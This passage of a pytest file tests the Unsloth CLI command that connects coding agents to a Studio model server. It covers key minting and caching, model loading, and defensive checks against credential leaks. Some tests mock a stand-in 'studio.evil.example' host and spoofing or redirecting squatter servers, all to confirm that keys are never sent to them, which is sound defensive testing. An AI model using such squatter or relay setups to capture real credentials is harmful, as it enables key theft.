temp dir, not ~/.codex + assert not home.exists() # cleaned up after the agent exits + + +@pytest.mark.skipif( + os.name == "nt", + reason = "the #6547 CI parser is bash-only; on Windows --no-launch prints PowerShell", +) +def test_no_launch_output_is_parseable(fake_studio): + # Mirror the #6547 CI parser: status lines, then `export`/`unset`, then exactly + # one launch command on the last line (now an inline-env one-liner, so the parser + # matches by substring rather than prefix). + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 0, result.output + lines = [ln for ln in result.output.splitlines() if ln.strip()] + skip = ("export ", "unset ", "Studio ", "Updated ", "Disabled ", "Warning", "Loading") + body = [ln for ln in lines if not ln.startswith(skip)] + assert "codex --oss --profile unsloth_api" in body[-1] + assert any(ln.startswith("export CODEX_HOME=") for ln in lines) + + +def test_no_launch_last_line_is_self_contained(fake_studio, tmp_path): + # People copy just the last line. A bare `codex` there would run against the user's + # real ~/.codex (e.g. a pre-existing damaged state DB) with zero isolation, so the + # last line must inline every session env var ahead of the command. + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 0, result.output + last = [ln for ln in result.output.splitlines() if ln.strip()][-1] + parts = shlex.split(last) + assignments = {} + command = [] + for i, part in enumerate(parts): + if "=" not in part: + command = parts[i:] + break + name, _, value = part.partition("=") + assignments[name] = value + assert command and command[0] == "codex" + assert assignments["CODEX_HOME"] == str(tmp_path / "agents" / "codex") + assert assignments["UNSLOTH_STUDIO_AUTH_TOKEN"].startswith("sk-unsloth-") + + +def test_no_launch_claude_last_line_blanks_conflicting_auth(fake_studio): + # The unset vars must be neutralized inline too, or a partial copy would send the + # user's own ANTHROPIC_API_KEY to the Studio base. + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + last = [ln for ln in result.output.splitlines() if ln.strip()][-1] + assert "ANTHROPIC_API_KEY= " in last + assert "CLAUDE_CODE_OAUTH_TOKEN= " in last + assert "ANTHROPIC_AUTH_TOKEN=" in last # the real key still applied after the blanks + + +def test_opencode_inline_config_beats_project_config(fake_studio): + # A project's opencode.json outranks OPENCODE_CONFIG, so the model pin (and --yolo + # permissions) ride in OPENCODE_CONFIG_CONTENT, which outranks project config. + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--yolo"]) + assert result.exit_code == 0, result.output + content_line = next( + ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=") + ) + inline = json.loads( + shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0] + ) + assert inline["model"] == f"unsloth/{MODEL['id']}" + assert inline["permission"] == {"edit": "allow", "bash": "allow", "webfetch": "allow"} + assert "sk-unsloth" not in content_line # key stays in the private file + + +def test_opencode_inline_config_omits_permissions_without_yolo(fake_studio): + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 0, result.output + content_line = next( + ln for ln in result.output.splitlines() if ln.startswith("export OPENCODE_CONFIG_CONTENT=") + ) + inline = json.loads( + shlex.split(content_line.removeprefix("export OPENCODE_CONFIG_CONTENT="))[0] + ) + assert inline == {"model": f"unsloth/{MODEL['id']}"} + + +def test_https_loopback_never_auto_serves(fake_studio, monkeypatch): + # `unsloth run` serves plain HTTP; auto-serving behind an https:// target would poll + # the wrong scheme until the startup timeout. Keep the plain "no server" error. + monkeypatch.setenv("UNSLOTH_STUDIO_URL", "https://127.0.0.1:8443") + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {"called": False} + monkeypatch.setattr( + start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True) + ) + result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"]) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + assert started["called"] is False + + +def test_connect_alias_still_works(fake_studio): + # `unsloth connect` remains a compat alias for `unsloth start`. + from unsloth_cli import app + + result = CliRunner().invoke(app, ["connect", "claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + + +def test_connect_key_minted_once_then_cached(fake_studio, tmp_path): + CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + # First run mints; second reuses the minted key cached for this server. + mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")] + assert len(mints) == 1 + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] + + +def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path): + CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + # Reused, not re-minted (a mint would return the feedface stand-in). + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + # An explicit key is remembered as "saved" so it replays without the handshake. + assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"] + + +def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch): + cache = tmp_path / "agent_api_key.json" + cache.write_text( + json.dumps( + {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}} + ) + ) + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/v1/models") and token == "sk-unsloth-stale": + raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None) + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + # The working key moves to the front so the next run tries it first. + cached = json.loads(cache.read_text()) + assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"] + + +def test_connect_saved_key_server_outage_surfaces_not_reminted(fake_studio, tmp_path, monkeypatch): + # A 5xx/timeout while checking a saved key is a server outage, not a rejected key: + # surface it instead of discarding the key and minting a new one against a sick server. + cache = tmp_path / "agent_api_key.json" + cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-saved"]}}})) + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/v1/models") and token == "sk-unsloth-saved": + raise urllib.error.HTTPError(url, 503, "Service Unavailable", None, None) + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code != 0, result.output + # The outage did not cause a fresh key to be minted. + mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")] + assert mints == [] + + +def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path): + # Legacy unscoped caches have no server binding (could leak across servers), + # so they're ignored: a fresh key is minted and stored scoped to this server. + (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"})) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") + cached = json.loads((tmp_path / "agent_api_key.json").read_text()) + assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] + assert "key" not in cached # legacy field collapsed away + + +def test_connect_model_flag_loads_on_server(fake_studio): + result = CliRunner().invoke( + start.start_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"] + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"}) + ] + _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B") + + +def test_connect_model_flag_forwards_load_options(fake_studio): + # The model-load knobs mirrored from `unsloth run` reach /api/inference/load. + result = CliRunner().invoke( + start.start_app, + [ + "claude", + "--no-launch", + "--model", + "unsloth/Qwen3-4B-GGUF", + "--gguf-variant", + "UD-Q4_K_XL", + "--context-length", + "8192", + "--no-load-in-4bit", + "--tensor-parallel", + ], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + { + "model_path": "unsloth/Qwen3-4B-GGUF", + "gguf_variant": "UD-Q4_K_XL", + "max_seq_length": 8192, + "load_in_4bit": False, + "tensor_parallel": True, + }, + ) + ] + + +def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch): + # Studio registers a loaded model under a canonical id (resolved identifier + # / casing) that can differ from the path we passed. The agent must connect + # to that model, not silently fall through to the first loaded one. + requested = "Unsloth/Qwen3.5-35B-A3B" + canonical = "unsloth/Qwen3.5-35B-A3B" + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/load"): + return {"model": canonical, "display_name": canonical} + if url.endswith("/v1/models"): + # Decoy sorts first, so models[0] is the wrong pick on the old code. + return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]} + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", requested]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical) + + +@pytest.mark.parametrize( + "model, expected", + [ + ("unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", ("unsloth/Qwen3-1.7B-GGUF", "UD-Q4_K_XL")), + ("unsloth/gemma-4-E2B-it-GGUF:Q8_0", ("unsloth/gemma-4-E2B-it-GGUF", "Q8_0")), + ("unsloth/Qwen3-1.7B-GGUF", ("unsloth/Qwen3-1.7B-GGUF", None)), # no suffix + ("/models/local.gguf", ("/models/local.gguf", None)), # absolute path + ("./rel.gguf", ("./rel.gguf", None)), # relative path + ("C:\\models\\x.gguf", ("C:\\models\\x.gguf", None)), # Windows drive + ("repo:with/slash", ("repo:with/slash", None)), # slash in variant -> not a variant + ("", ("", None)), + ], +) +def test_split_repo_variant(model, expected): + assert start._split_repo_variant(model) == expected + + +def test_connect_model_bare_id_matches_loaded_without_reload(fake_studio): + # A bare `--model ` (no load knobs) attaches to the already-loaded model + # without touching /api/inference/load, so it can never evict another session. + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch", "--model", MODEL["id"]]) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [] + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + + +def test_connect_model_variant_suffix_defers_to_server_dedup(fake_studio): + # `--model repo:QUANT` splits into a VALID load payload (bare repo + gguf_variant), + # never the `:`-suffixed repo id Studio rejects. The variant knob defers to + # /api/inference/load, whose already-loaded dedup answers without reloading when the + # active variant+settings match -- so a second session running the same command + # attaches without evicting the first, while a genuinely different quant reloads. + result = CliRunner().invoke( + start.start_app, ["claude", "--no-launch", "--model", MODEL["id"] + ":UD-Q4_K_XL"] + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + {"model_path": MODEL["id"], "gguf_variant": "UD-Q4_K_XL"}, + ) + ] + _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) + + +def test_connect_load_knobs_reach_server_even_when_id_loaded(fake_studio): + # /v1/models can't reveal the active quant, so an id match alone would silently keep + # the wrong variant loaded. Explicit knobs must always consult the load endpoint. + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--model", MODEL["id"], "--gguf-variant", "Q8_0"], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ("POST", f"{BASE}/api/inference/load", {"model_path": MODEL["id"], "gguf_variant": "Q8_0"}) + ] + + +def test_connect_model_variant_suffix_loads_split_repo(fake_studio): + # When the model is not already loaded, the `:QUANT` suffix becomes the gguf_variant + # and the load uses the bare (valid) repo id, mirroring `unsloth run repo --gguf-variant`. + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--model", "unsloth/Qwen3-4B-GGUF:UD-Q4_K_XL"], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"}, + ) + ] + + +def test_connect_explicit_gguf_variant_wins_over_suffix(fake_studio): + # An explicit --gguf-variant takes precedence; the suffix is still stripped so the + # repo id stays valid. + result = CliRunner().invoke( + start.start_app, + [ + "claude", + "--no-launch", + "--model", + "unsloth/Qwen3-4B-GGUF:Q8_0", + "--gguf-variant", + "UD-Q4_K_XL", + ], + ) + assert result.exit_code == 0, result.output + loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] + assert loads == [ + ( + "POST", + f"{BASE}/api/inference/load", + {"model_path": "unsloth/Qwen3-4B-GGUF", "gguf_variant": "UD-Q4_K_XL"}, + ) + ] + + +def test_connect_no_model_loaded_errors(fake_studio, monkeypatch): + monkeypatch.setattr( + start, + "_http_json", + lambda method, url, token, payload = None, timeout = 30, error = None: ( + {"key": "sk-unsloth-feedfacefeedface"} + if url.endswith("/api/auth/api-keys") + else {"object": "list", "data": []} + ), + ) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "No model is loaded" in result.output + + +def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch): + # Studio never surfaces the requested model; fail loudly rather than + # silently connecting to whatever else happens to be loaded. + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/load"): + return {} + if url.endswith("/v1/models"): + return {"object": "list", "data": [MODEL]} # decoy; request never appears + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke( + start.start_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"] + ) + assert result.exit_code == 1 + assert "unsloth/Missing-7B" in result.output + + +def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch): + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/status"): + return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"} + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke(start.start_app, ["codex", "--no-launch"]) + assert result.exit_code == 1 + assert "GGUF" in result.output + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + + +def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch): + # A server known only by URL + health check is unverified: keyless connect + # must refuse and make no request at all. + monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.evil.example:8888") + result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"]) + assert result.exit_code == 1 + assert "Settings → API" in result.output + assert "--api-key" in result.output + assert fake_studio == [] # no HTTP request of any kind (no mint, no /v1/models) + + +def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch): + # User named both server and key, so it's their choice; only auto-send is blocked. + monkeypatch.setattr(start, "find_studio_server", lambda: "http://studio.example:8888") + result = CliRunner().invoke( + start.start_app, + ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + assert result.exit_code == 0, result.output + + +def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch): + # A key saved for a remote (non-loopback) Studio is replayed on keyless runs; + # auto-minting stays blocked for non-loopback. + remote = "http://studio.example:8888" + monkeypatch.setattr(start, "find_studio_server", lambda: remote) + (tmp_path / "agent_api_key.json").write_text( + json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}) + ) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted + + +def test_connect_studio_server_errors_on_explicit_remote(monkeypatch): + # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an + # error, not a silent local model load (which they did not ask for). + import typer + + import unsloth_cli._inference as inference + + monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888") + monkeypatch.setattr( + inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888" + ) + with pytest.raises(typer.Exit): + inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) + + +def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch): + # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback + # server can't be verified, fall back to a local load rather than erroring. + import unsloth_cli._inference as inference + + monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False) + monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888") + monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False) + assert ( + inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False) + is None + ) + + +def test_connect_unverified_loopback_without_cached_key_refuses_to_mint( + fake_studio, tmp_path, monkeypatch +): + # With no saved key, the next step would auto-mint; an unverified loopback + # server (port squatter) must be refused, with nothing sent. + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "--api-key" in result.output + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted + + +def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch): + # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match) + # replays on keyless runs without the handshake, scoped to its own base. + cache = tmp_path / "agent_api_key.json" + cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})) + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # reused, not minted + + +def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch): + # A "minted" key is NOT replayed to an unverified loopback server: minting and + # minted-key replay both sit behind the handshake, so a squatter can't grab it. + cache = tmp_path / "agent_api_key.json" + cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}})) + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "--api-key" in result.output + assert not any(c[1].endswith("/v1/models") for c in fake_studio) # minted key never sent + + +def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch): + # An explicit key is the user's deliberate choice, so it does not require + # the automatic identity handshake. + monkeypatch.setattr(start, "verify_studio_identity", lambda base: False) + result = CliRunner().invoke( + start.start_app, + ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], + ) + assert result.exit_code == 0, result.output + _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") + + +def _serve_identity(proof_for): + """Start a localhost HTTP server answering /api/auth/identity with + proof_for(nonce_bytes). Returns (base_url, shutdown).""" + import base64 + import threading + from http.server import BaseHTTPRequestHandler, HTTPServer + from urllib.parse import parse_qs, urlparse + + class Handler(BaseHTTPRequestHandler): + def do_GET(self): + parsed = urlparse(self.path) + if parsed.path != "/api/auth/identity": + self.send_response(404) + self.end_headers() + return + nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0]) + host, port = self.server.server_address[0], self.server.server_address[1] + body = json.dumps({"proof": proof_for(nonce, host, port)}).encode() + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(body) + + def log_message(self, *a): + pass + + server = HTTPServer(("127.0.0.1", 0), Handler) + threading.Thread(target = server.serve_forever, daemon = True).start() + base = f"http://127.0.0.1:{server.server_address[1]}" + return base, server.shutdown + + +def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch): + # Real crypto end to end: verify_studio_identity reads the install secret from + # an isolated DB; a "good" server proves the same secret, a spoofing one can't. + import unsloth_cli._inference as inference + + inference.ensure_studio_backend_path() + try: + from studio.backend.auth import storage + except Exception as exc: # backend not importable here (e.g. missing deps) + pytest.skip(f"studio backend not importable: {exc}") + + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_identity_secret_cache", None) + + good = lambda nonce, host, port: storage.compute_identity_proof( + nonce, host, port + ) # real secret + bad = lambda nonce, host, port: "00" * 32 # spoofer without the secret + base_ok, stop_ok = _serve_identity(good) + base_bad, stop_bad = _serve_identity(bad) + try: + assert inference.verify_studio_identity(base_ok) is True + assert inference.verify_studio_identity(base_bad) is False + finally: + stop_ok() + stop_bad() + + +def _serve_redirect(target): + """Start a localhost server that 302-redirects every GET to target+path.""" + import threading + from http.server import BaseHTTPRequestHandler, HTTPServer + + class Handler(BaseHTTPRequestHandler): + def do_GET(self): + self.send_response(302) + self.send_header("Location", target + self.path) + self.end_headers() + + def log_message(self, *a): + pass + + server = HTTPServer(("127.0.0.1", 0), Handler) + threading.Thread(target = server.serve_forever, daemon = True).start() + base = f"http://127.0.0.1:{server.server_address[1]}" + return base, server.shutdown + + +def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch): + # A squatter could 302 /api/auth/identity to the real Studio and relay its + # proof; redirects must be refused so the squatter's base isn't accepted. + import unsloth_cli._inference as inference + + inference.ensure_studio_backend_path() + try: + from studio.backend.auth import storage + except Exception as exc: + pytest.skip(f"studio backend not importable: {exc}") + + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_identity_secret_cache", None) + + real_base, stop_real = _serve_identity( + lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) + ) + squatter_base, stop_squatter = _serve_redirect(real_base) + try: + assert inference.verify_studio_identity(real_base) is True # direct: ok + assert inference.verify_studio_identity(squatter_base) is False # relayed: refused + finally: + stop_real() + stop_squatter() + + +def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch): + # A squatter that proxies the nonce to the real Studio on another port gets a + # proof bound to *that* port; the client expects one bound to the port it + # connected to, so the relayed proof is rejected. + import unsloth_cli._inference as inference + + inference.ensure_studio_backend_path() + try: + from studio.backend.auth import storage + except Exception as exc: + pytest.skip(f"studio backend not importable: {exc}") + + monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") + monkeypatch.setattr(storage, "_identity_secret_cache", None) + + real_base, stop_real = _serve_identity( + lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port) + ) + real_port = int(real_base.rsplit(":", 1)[1]) + # The squatter answers on its own port but returns the proof for the real port. + squatter_base, stop_squatter = _serve_identity( + lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port) + ) + try: + assert inference.verify_studio_identity(real_base) is True + assert inference.verify_studio_identity(squatter_base) is False + finally: + stop_real() + stop_squatter() + + +@pytest.mark.parametrize( + "url, loopback", + [ + ("http://127.0.0.1:8888", True), + ("http://localhost:8888", True), + ("http://[::1]:8888", True), + ("http://127.0.0.5:9001", True), # SSH tunnels can land anywhere in 127/8 + ("http://0.0.0.0:8888", False), + ("http://10.0.0.5:8888", False), + ("http://studio.evil.example:8888", False), + ("https://studio.example.com", False), + ], +) +def test_is_loopback_url(url, loopback): + assert start.is_loopback_url(url) is loopback + + +def test_connect_no_studio_errors(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"]) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + + +@pytest.fixture(autouse = True) +def _reset_auto_served(): + # Never let a test leave a fake server in the module slot (an atexit backstop would + # otherwise try to signal it at interpreter shutdown). + yield + start._auto_served_server = None + + +def test_start_studio_server_builds_command_and_waits(monkeypatch): + captured = {} + + class FakePopen: + def __init__(self, command, **kwargs): + captured["command"] = command + captured["kwargs"] = kwargs + self.pid = 4321 + + def poll(self): + return None + + monkeypatch.setattr(start.subprocess, "Popen", FakePopen) + monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True) + monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-abc123") + monkeypatch.setattr(start.time, "sleep", lambda _s: None) + + server = start._start_studio_server( + "http://127.0.0.1:8888", + "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL", + start.LoadOptions( + gguf_variant = "UD-Q4_K_XL", max_seq_length = 8192, load_in_4bit = True, tensor_parallel = True + ), + ) + cmd = captured["command"] + assert cmd[1] == "run" + assert "--disable-tools" in cmd and "--no-cloudflare" in cmd + assert cmd[cmd.index("--model") + 1] == "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL" + assert cmd[cmd.index("--gguf-variant") + 1] == "UD-Q4_K_XL" + assert cmd[cmd.index("--context-length") + 1] == "8192" + assert "--tensor-parallel" in cmd + assert cmd[cmd.index("-p") + 1] == "8888" + assert start.LoadOptions().load_in_4bit is True and "--no-load-in-4bit" not in cmd + assert captured["kwargs"].get("start_new_session") is True # own process group + assert server.pid == 4321 + + +def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {} + fake = SimpleNamespace(pid = 999, poll = lambda: None) + + def fake_start(base, model, load): + started.update(base = base, model = model, load = load) + start._auto_served_server = fake + return fake + + monkeypatch.setattr(start, "_start_studio_server", fake_start) + monkeypatch.setattr( + start, "_shutdown_server", lambda server: started.__setitem__("down", server) + ) + monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude") + monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0)) + + result = CliRunner().invoke( + start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"] + ) + assert result.exit_code == 0, result.output + # The `:QUANT` suffix is split off into the gguf_variant so `unsloth run` gets a valid + # repo id plus `--gguf-variant`, mirroring how `unsloth run` accepts either form. + assert started["model"] == "unsloth/Qwen3-1.7B-GGUF" + assert started["load"].gguf_variant == "UD-Q4_K_XL" + assert started["base"] == BASE + # Torn down after the agent session ended. + assert started.get("down") is fake + + +def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch): + # The Codex GGUF preflight runs after _connect may have auto-started a server but + # before _run's teardown finally, so a preflight rejection must not leave the server + # holding the port/GPU (waiting on the atexit backstop). + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {} + fake = SimpleNamespace(pid = 999, poll = lambda: None) + + def fake_start(base, model, load): + started.update(base = base, model = model) + start._auto_served_server = fake + return fake + + monkeypatch.setattr(start, "_start_studio_server", fake_start) + monkeypatch.setattr( + start, "_shutdown_server", lambda server: started.__setitem__("down", server) + ) + inner = start._http_json + + def http_json( + method, + url, + token, + payload = None, + timeout = 30, + error = None, + ): + if url.endswith("/api/inference/status"): + return {"is_gguf": False, "model_identifier": "transformers-model"} + return inner(method, url, token, payload, timeout, error) + + monkeypatch.setattr(start, "_http_json", http_json) + result = CliRunner().invoke( + start.start_app, ["codex", "--model", "unsloth/Qwen3-1.7B", "--launch"] + ) + assert result.exit_code != 0, result.output + assert "GGUF" in result.output + # Torn down at the point the preflight rejected the model, not only via atexit. + assert started.get("down") is fake + + +def test_no_serve_preserves_error(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {"called": False} + monkeypatch.setattr( + start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True) + ) + result = CliRunner().invoke( + start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-serve"] + ) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + assert started["called"] is False + + +def test_no_launch_never_serves(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + started = {"called": False} + monkeypatch.setattr( + start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True) + ) + result = CliRunner().invoke( + start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-launch"] + ) + assert result.exit_code == 1 + assert "No running Studio server" in result.output + assert started["called"] is False + + +def test_no_server_no_model_hints_model_flag(fake_studio, monkeypatch): + monkeypatch.setattr(start, "find_studio_server", lambda: None) + result = CliRunner().invoke(start.start_app, ["claude"]) + assert result.exit_code == 1 + assert "--model" in result.output + + +@pytest.mark.parametrize( + "base, expected", + [ + ("http://127.0.0.1", "http://127.0.0.1:8888"), # portless -> unsloth run's :8888 + ("http://127.0.0.1:8888", "http://127.0.0.1:8888"), # explicit port kept + ("http://127.0.0.1:9000", "http://127.0.0.1:9000"), + ("http://localhost", "http://localhost:8888"), + ("http://[::1]", "http://[::1]:8888"), # IPv6 literal stays 